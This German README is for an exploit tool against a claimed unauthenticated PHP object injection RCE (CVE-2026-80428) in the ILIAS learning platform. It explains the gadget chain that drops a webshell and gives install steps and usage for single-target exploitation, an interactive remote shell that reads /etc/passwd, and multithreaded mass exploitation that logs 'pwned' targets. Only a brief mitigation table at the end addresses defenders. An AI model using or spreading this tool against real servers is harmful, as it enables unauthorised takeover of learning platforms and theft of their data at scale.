
ILIAS ≤ 9.21 / 10.9 / 11.2 — Nicht authentifizierte PHP-Object-Injection (RCE)
CVE-2026-80428Vektor: Shibboleth-Back-Channel-Logout-Endpunkt
Auswirkung: Vollständige Remote-Code-Ausführung als Webserver-Benutzer
Schweregrad: 🔴 KRITISCH
CVE-2026-80428 ist eine kritische nicht authentifizierte PHP-Objektinjektion-Schwachstelle, die das ILIAS-Lernmanagementsystem betrifft. Durch die Verkettung eines Session-Poisoning-Primitivs in
ltiauth.phpmit einem unsicherenunserialize()-Aufruf inshib_logout.phpkann ein Angreifer beliebiges Schreiben von Dateien und letztlich Remote Code Execution (RCE) erreichen — und das alles ohne Authentifizierung.
| 🎯 Parameter | 📋 Wert |
|---|---|
| CVE-ID | CVE-2026-80428 |
| Typ | PHP-Objektinjektion → RCE |
| Erforderliche Authentifizierung | ❌ Keine |
| Angriffsvektor | Netzwerk (HTTP/HTTPS) |
| CVSS-Score | 9.8 (Kritisch) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
Schritt für Schritt:
ltiauth.php speichert eine serialisierte Payload innerhalb der PHP-Session ohne Validierung.shib_logout.php verarbeitet eine manipulierte Shibboleth LogoutNotification-SOAP-Anfrage und ruft unserialize() auf den Session-Daten auf.GuzzleHttp\Cookie\FileCookieJar-Gadget ruft file_put_contents() auf, um eine PHP-Webshell an einem vom Angreifer kontrollierten Pfad abzulegen.| 🏷️ Branch | ❌ Anfällig | ✅ Gepatcht |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 Kern
|
💎 Komfort
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
Voraussetzungen:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
Optionen:
| Flag | Beschreibung | Standard |
|---|---|---|
--port | Zielport | 443 |
--path | ILIAS-Docroot auf der Festplatte | /var/www/ilias/public |
--host-header | Benutzerdefinierter Host-Header | — |
--timeout | Anfrage-Timeout (s) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
Optionen:
| Flag | Beschreibung | Standard |
|---|---|---|
-l, --list | Erforderlich — Zieldatei mit Liste | — |
-t, --threads | Parallele Worker | 20 |
-o, --output | Ausgabedatei für verwundbare Ziele | ilias_vuln.txt |
--path | ILIAS-Docroot | /var/www/ilias/public |
--host-header | Benutzerdefinierter Host-Header | — |
--timeout | Anfrage-Timeout (s) | 30 |
Erstellen Sie eine targets.txt-Datei:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
Unterstützte Formate:
hosthost:porthttp://hosthttps://host:porthost/path (Pfad wird entfernt) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
Für Verteidiger und Systemadministratoren:
| 🛠️ Maßnahme | 📝 Details |
|---|---|
| 🔼 ILIAS aktualisieren | 9.22 / 10.10 / 11.3 oder höher |
| 🚫 Shibboleth deaktivieren | Falls nicht verwendet — shib_logout.php entfernen |
| 🧱 WAF-Regeln | Fehlerhafte SOAP-LogoutNotification-Payloads blockieren |
| 📂 Schreibzugriff einschränken | Das Web-Root sollte nicht durch www-data beschreibbar sein |
| 🔍 Überwachen | Auf unerwartete .php-Dateien in Upload-/Cache-Verzeichnissen achten |